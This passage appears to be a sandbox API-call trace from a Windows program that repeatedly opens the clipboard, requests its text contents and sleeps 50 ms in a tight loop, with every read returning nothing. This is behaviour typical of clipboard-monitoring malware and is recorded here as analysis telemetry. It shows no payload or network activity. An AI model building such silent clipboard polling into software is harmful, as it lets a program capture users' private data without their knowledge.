[0245.040] GetClipboardData (uFormat=0x1) returned 0x0
[0245.040] CloseClipboard () returned 1
[0245.041] Sleep (dwMilliseconds=0x32)
[0245.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed0641da, dwHighDateTime=0x1d96e12))
[0245.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.054] GetClipboardData (uFormat=0x1) returned 0x0
[0245.054] CloseClipboard () returned 1
[0245.055] Sleep (dwMilliseconds=0x32)
[0245.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed08a437, dwHighDateTime=0x1d96e12))
[0245.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.071] GetClipboardData (uFormat=0x1) returned 0x0
[0245.071] CloseClipboard () returned 1
[0245.072] Sleep (dwMilliseconds=0x32)
[0245.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed0b069f, dwHighDateTime=0x1d96e12))
[0245.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.086] GetClipboardData (uFormat=0x1) returned 0x0
[0245.086] CloseClipboard () returned 1
[0245.086] Sleep (dwMilliseconds=0x32)
[0245.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed0d68e5, dwHighDateTime=0x1d96e12))
[0245.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.101] GetClipboardData (uFormat=0x1) returned 0x0
[0245.101] CloseClipboard () returned 1
[0245.101] Sleep (dwMilliseconds=0x32)
[0245.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed0fcb3f, dwHighDateTime=0x1d96e12))
[0245.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.118] GetClipboardData (uFormat=0x1) returned 0x0
[0245.118] CloseClipboard () returned 1
[0245.118] Sleep (dwMilliseconds=0x32)
[0245.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed122da0, dwHighDateTime=0x1d96e12))
[0245.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.133] GetClipboardData (uFormat=0x1) returned 0x0
[0245.133] CloseClipboard () returned 1
[0245.133] Sleep (dwMilliseconds=0x32)
[0245.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed148ff3, dwHighDateTime=0x1d96e12))
[0245.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.148] GetClipboardData (uFormat=0x1) returned 0x0
[0245.148] CloseClipboard () returned 1
[0245.149] Sleep (dwMilliseconds=0x32)
[0245.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed16f251, dwHighDateTime=0x1d96e12))
[0245.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.165] GetClipboardData (uFormat=0x1) returned 0x0
[0245.165] CloseClipboard () returned 1
[0245.166] Sleep (dwMilliseconds=0x32)
[0245.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed1954ae, dwHighDateTime=0x1d96e12))
[0245.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.179] GetClipboardData (uFormat=0x1) returned 0x0
[0245.179] CloseClipboard () returned 1
[0245.180] Sleep (dwMilliseconds=0x32)
[0245.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed1bb704, dwHighDateTime=0x1d96e12))
[0245.197] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.197] GetClipboardData (uFormat=0x1) returned 0x0
[0245.197] CloseClipboard () returned 1
[0245.197] Sleep (dwMilliseconds=0x32)
[0245.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed1e1967, dwHighDateTime=0x1d96e12))
[0245.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.211] GetClipboardData (uFormat=0x1) returned 0x0
[0245.211] CloseClipboard () returned 1
[0245.211] Sleep (dwMilliseconds=0x32)
[0245.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed207bba, dwHighDateTime=0x1d96e12))
[0245.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.226] GetClipboardData (uFormat=0x1) returned 0x0
[0245.226] CloseClipboard () returned 1
[0245.226] Sleep (dwMilliseconds=0x32)
[0245.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed22de0f, dwHighDateTime=0x1d96e12))
[0245.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.243] GetClipboardData (uFormat=0x1) returned 0x0
[0245.243] CloseClipboard () returned 1
[0245.244] Sleep (dwMilliseconds=0x32)
[0245.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed254073, dwHighDateTime=0x1d96e12))
[0245.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.258] GetClipboardData (uFormat=0x1) returned 0x0
[0245.258] CloseClipboard () returned 1
[0245.258] Sleep (dwMilliseconds=0x32)
[0245.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed27a2c2, dwHighDateTime=0x1d96e12))
[0245.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.273] GetClipboardData (uFormat=0x1) returned 0x0
[0245.273] CloseClipboard () returned 1
[0245.273] Sleep (dwMilliseconds=0x32)
[0245.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed2a0520, dwHighDateTime=0x1d96e12))
[0245.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.290] GetClipboardData (uFormat=0x1) returned 0x0
[0245.290] CloseClipboard () returned 1
[0245.290] Sleep (dwMilliseconds=0x32)
[0245.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed2c6777, dwHighDateTime=0x1d96e12))
[0245.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.304] GetClipboardData (uFormat=0x1) returned 0x0
[0245.304] CloseClipboard () returned 1
[0245.305] Sleep (dwMilliseconds=0x32)
[0245.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed2ec9dc, dwHighDateTime=0x1d96e12))
[0245.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.321] GetClipboardData (uFormat=0x1) returned 0x0
[0245.322] CloseClipboard () returned 1
[0245.322] Sleep (dwMilliseconds=0x32)
[0245.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed312c2c, dwHighDateTime=0x1d96e12))
[0245.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.336] GetClipboardData (uFormat=0x1) returned 0x0
[0245.336] CloseClipboard () returned 1
[0245.336] Sleep (dwMilliseconds=0x32)
[0245.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed338e87, dwHighDateTime=0x1d96e12))
[0245.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.352] GetClipboardData (uFormat=0x1) returned 0x0
[0245.352] CloseClipboard () returned 1
[0245.352] Sleep (dwMilliseconds=0x32)
[0245.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed35f0df, dwHighDateTime=0x1d96e12))
[0245.369] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.369] GetClipboardData (uFormat=0x1) returned 0x0
[0245.369] CloseClipboard () returned 1
[0245.369] Sleep (dwMilliseconds=0x32)
[0245.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed385340, dwHighDateTime=0x1d96e12))
[0245.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.382] GetClipboardData (uFormat=0x1) returned 0x0
[0245.383] CloseClipboard () returned 1
[0245.383] Sleep (dwMilliseconds=0x32)
[0245.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed3ab594, dwHighDateTime=0x1d96e12))
[0245.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.398] GetClipboardData (uFormat=0x1) returned 0x0
[0245.398] CloseClipboard () returned 1
[0245.398] Sleep (dwMilliseconds=0x32)
[0245.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed3d17eb, dwHighDateTime=0x1d96e12))
[0245.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.415] GetClipboardData (uFormat=0x1) returned 0x0
[0245.415] CloseClipboard () returned 1
[0245.415] Sleep (dwMilliseconds=0x32)
[0245.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed3f7a49, dwHighDateTime=0x1d96e12))
[0245.435] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.435] GetClipboardData (uFormat=0x1) returned 0x0
[0245.435] CloseClipboard () returned 1
[0245.435] Sleep (dwMilliseconds=0x32)
[0245.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed41dcb3, dwHighDateTime=0x1d96e12))
[0245.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.446] GetClipboardData (uFormat=0x1) returned 0x0
[0245.447] CloseClipboard () returned 1
[0245.447] Sleep (dwMilliseconds=0x32)
[0245.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed443f01, dwHighDateTime=0x1d96e12))
[0245.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.461] GetClipboardData (uFormat=0x1) returned 0x0
[0245.461] CloseClipboard () returned 1
[0245.461] Sleep (dwMilliseconds=0x32)
[0245.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed46a156, dwHighDateTime=0x1d96e12))
[0245.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.476] GetClipboardData (uFormat=0x1) returned 0x0
[0245.477] CloseClipboard () returned 1
[0245.477] Sleep (dwMilliseconds=0x32)
[0245.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed4903b0, dwHighDateTime=0x1d96e12))
[0245.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.493] GetClipboardData (uFormat=0x1) returned 0x0
[0245.493] CloseClipboard () returned 1
[0245.494] Sleep (dwMilliseconds=0x32)
[0245.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed4b6613, dwHighDateTime=0x1d96e12))
[0245.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.507] GetClipboardData (uFormat=0x1) returned 0x0
[0245.508] CloseClipboard () returned 1
[0245.508] Sleep (dwMilliseconds=0x32)
[0245.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed4dc861, dwHighDateTime=0x1d96e12))
[0245.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.523] GetClipboardData (uFormat=0x1) returned 0x0
[0245.523] CloseClipboard () returned 1
[0245.523] Sleep (dwMilliseconds=0x32)
[0245.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed502abe, dwHighDateTime=0x1d96e12))
[0245.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.540] GetClipboardData (uFormat=0x1) returned 0x0
[0245.540] CloseClipboard () returned 1
[0245.541] Sleep (dwMilliseconds=0x32)
[0245.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed528d15, dwHighDateTime=0x1d96e12))
[0245.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.554] GetClipboardData (uFormat=0x1) returned 0x0
[0245.554] CloseClipboard () returned 1
[0245.554] Sleep (dwMilliseconds=0x32)
[0245.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed54ef79, dwHighDateTime=0x1d96e12))
[0245.572] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.572] GetClipboardData (uFormat=0x1) returned 0x0
[0245.572] CloseClipboard () returned 1
[0245.572] Sleep (dwMilliseconds=0x32)
[0245.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed5751d1, dwHighDateTime=0x1d96e12))
[0245.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.586] GetClipboardData (uFormat=0x1) returned 0x0
[0245.586] CloseClipboard () returned 1
[0245.586] Sleep (dwMilliseconds=0x32)
[0245.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed59b428, dwHighDateTime=0x1d96e12))
[0245.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.601] GetClipboardData (uFormat=0x1) returned 0x0
[0245.601] CloseClipboard () returned 1
[0245.601] Sleep (dwMilliseconds=0x32)
[0245.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed5c1682, dwHighDateTime=0x1d96e12))
[0245.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.618] GetClipboardData (uFormat=0x1) returned 0x0
[0245.618] CloseClipboard () returned 1
[0245.618] Sleep (dwMilliseconds=0x32)
[0245.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed5e78e5, dwHighDateTime=0x1d96e12))
[0245.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.633] GetClipboardData (uFormat=0x1) returned 0x0
[0245.633] CloseClipboard () returned 1
[0245.633] Sleep (dwMilliseconds=0x32)
[0245.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed60db3b, dwHighDateTime=0x1d96e12))
[0245.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.648] GetClipboardData (uFormat=0x1) returned 0x0
[0245.648] CloseClipboard () returned 1
[0245.648] Sleep (dwMilliseconds=0x32)
[0245.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed633d90, dwHighDateTime=0x1d96e12))
[0245.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.671] GetClipboardData (uFormat=0x1) returned 0x0
[0245.671] CloseClipboard () returned 1
[0245.671] Sleep (dwMilliseconds=0x32)
[0245.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed65a0a5, dwHighDateTime=0x1d96e12))
[0245.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.679] GetClipboardData (uFormat=0x1) returned 0x0
[0245.679] CloseClipboard () returned 1
[0245.680] Sleep (dwMilliseconds=0x32)
[0245.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed680248, dwHighDateTime=0x1d96e12))
[0245.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.697] GetClipboardData (uFormat=0x1) returned 0x0
[0245.697] CloseClipboard () returned 1
[0245.697] Sleep (dwMilliseconds=0x32)
[0245.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed6a649f, dwHighDateTime=0x1d96e12))
[0245.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.711] GetClipboardData (uFormat=0x1) returned 0x0
[0245.711] CloseClipboard () returned 1
[0245.711] Sleep (dwMilliseconds=0x32)
[0245.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed6cc6f7, dwHighDateTime=0x1d96e12))
[0245.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.726] GetClipboardData (uFormat=0x1) returned 0x0
[0245.726] CloseClipboard () returned 1
[0245.726] Sleep (dwMilliseconds=0x32)
[0245.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed6f294b, dwHighDateTime=0x1d96e12))
[0245.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.743] GetClipboardData (uFormat=0x1) returned 0x0
[0245.743] CloseClipboard () returned 1
[0245.743] Sleep (dwMilliseconds=0x32)
[0245.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed718bb5, dwHighDateTime=0x1d96e12))
[0245.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.758] GetClipboardData (uFormat=0x1) returned 0x0
[0245.758] CloseClipboard () returned 1
[0245.758] Sleep (dwMilliseconds=0x32)
[0245.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed73edfa, dwHighDateTime=0x1d96e12))
[0245.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.773] GetClipboardData (uFormat=0x1) returned 0x0
[0245.773] CloseClipboard () returned 1
[0245.773] Sleep (dwMilliseconds=0x32)
[0245.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed76505d, dwHighDateTime=0x1d96e12))
[0245.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.790] GetClipboardData (uFormat=0x1) returned 0x0
[0245.790] CloseClipboard () returned 1
[0245.790] Sleep (dwMilliseconds=0x32)
[0245.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed78b2b9, dwHighDateTime=0x1d96e12))
[0245.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.805] GetClipboardData (uFormat=0x1) returned 0x0
[0245.805] CloseClipboard () returned 1
[0245.805] Sleep (dwMilliseconds=0x32)
[0245.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed7b1524, dwHighDateTime=0x1d96e12))
[0245.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.821] GetClipboardData (uFormat=0x1) returned 0x0
[0245.821] CloseClipboard () returned 1
[0245.822] Sleep (dwMilliseconds=0x32)
[0245.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed7d776c, dwHighDateTime=0x1d96e12))
[0245.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.836] GetClipboardData (uFormat=0x1) returned 0x0
[0245.836] CloseClipboard () returned 1
[0245.836] Sleep (dwMilliseconds=0x32)
[0245.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed7fd9c6, dwHighDateTime=0x1d96e12))
[0245.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.851] GetClipboardData (uFormat=0x1) returned 0x0
[0245.851] CloseClipboard () returned 1
[0245.851] Sleep (dwMilliseconds=0x32)
[0245.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed823c18, dwHighDateTime=0x1d96e12))
[0245.867] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.867] GetClipboardData (uFormat=0x1) returned 0x0
[0245.867] CloseClipboard () returned 1
[0245.867] Sleep (dwMilliseconds=0x32)
[0245.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed849e81, dwHighDateTime=0x1d96e12))
[0245.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.883] GetClipboardData (uFormat=0x1) returned 0x0
[0245.883] CloseClipboard () returned 1
[0245.883] Sleep (dwMilliseconds=0x32)
[0245.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed8700f9, dwHighDateTime=0x1d96e12))
[0245.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.898] GetClipboardData (uFormat=0x1) returned 0x0
[0245.898] CloseClipboard () returned 1
[0245.898] Sleep (dwMilliseconds=0x32)
[0245.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed896337, dwHighDateTime=0x1d96e12))
[0245.914] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.914] GetClipboardData (uFormat=0x1) returned 0x0
[0245.914] CloseClipboard () returned 1
[0245.914] Sleep (dwMilliseconds=0x32)
[0245.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed8bc581, dwHighDateTime=0x1d96e12))
[0245.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.929] GetClipboardData (uFormat=0x1) returned 0x0
[0245.929] CloseClipboard () returned 1
[0245.930] Sleep (dwMilliseconds=0x32)
[0245.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed8e2821, dwHighDateTime=0x1d96e12))
[0245.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.945] GetClipboardData (uFormat=0x1) returned 0x0
[0245.945] CloseClipboard () returned 1
[0245.945] Sleep (dwMilliseconds=0x32)
[0245.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed908a9e, dwHighDateTime=0x1d96e12))
[0245.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.961] GetClipboardData (uFormat=0x1) returned 0x0
[0245.961] CloseClipboard () returned 1
[0245.961] Sleep (dwMilliseconds=0x32)
[0245.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed92ec95, dwHighDateTime=0x1d96e12))
[0245.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.976] GetClipboardData (uFormat=0x1) returned 0x0
[0245.976] CloseClipboard () returned 1
[0245.976] Sleep (dwMilliseconds=0x32)
[0245.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed954f05, dwHighDateTime=0x1d96e12))
[0245.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.992] GetClipboardData (uFormat=0x1) returned 0x0
[0245.992] CloseClipboard () returned 1
[0245.992] Sleep (dwMilliseconds=0x32)
[0246.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed97b171, dwHighDateTime=0x1d96e12))
[0246.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.007] GetClipboardData (uFormat=0x1) returned 0x0
[0246.008] CloseClipboard () returned 1
[0246.008] Sleep (dwMilliseconds=0x32)
[0246.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed9a13e9, dwHighDateTime=0x1d96e12))
[0246.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.023] GetClipboardData (uFormat=0x1) returned 0x0
[0246.023] CloseClipboard () returned 1
[0246.023] Sleep (dwMilliseconds=0x32)
[0246.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed9c760d, dwHighDateTime=0x1d96e12))
[0246.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.039] GetClipboardData (uFormat=0x1) returned 0x0
[0246.039] CloseClipboard () returned 1
[0246.039] Sleep (dwMilliseconds=0x32)
[0246.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed9ed85f, dwHighDateTime=0x1d96e12))
[0246.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.054] GetClipboardData (uFormat=0x1) returned 0x0
[0246.054] CloseClipboard () returned 1
[0246.055] Sleep (dwMilliseconds=0x32)
[0246.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeda13b58, dwHighDateTime=0x1d96e12))
[0246.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.070] GetClipboardData (uFormat=0x1) returned 0x0
[0246.070] CloseClipboard () returned 1
[0246.070] Sleep (dwMilliseconds=0x32)
[0246.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeda39d70, dwHighDateTime=0x1d96e12))
[0246.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.086] GetClipboardData (uFormat=0x1) returned 0x0
[0246.086] CloseClipboard () returned 1
[0246.086] Sleep (dwMilliseconds=0x32)
[0246.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeda5ff6e, dwHighDateTime=0x1d96e12))
[0246.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.101] GetClipboardData (uFormat=0x1) returned 0x0
[0246.101] CloseClipboard () returned 1
[0246.101] Sleep (dwMilliseconds=0x32)
[0246.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeda861cb, dwHighDateTime=0x1d96e12))
[0246.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.117] GetClipboardData (uFormat=0x1) returned 0x0
[0246.117] CloseClipboard () returned 1
[0246.117] Sleep (dwMilliseconds=0x32)
[0246.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xedaac4bd, dwHighDateTime=0x1d96e12))
[0246.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0246.133] GetClipboardData (uFormat=0x1) returned 0x0
[0246.133] CloseClipboard () returned 1
[0246.133] Sleep (dwMilliseconds=0x32)
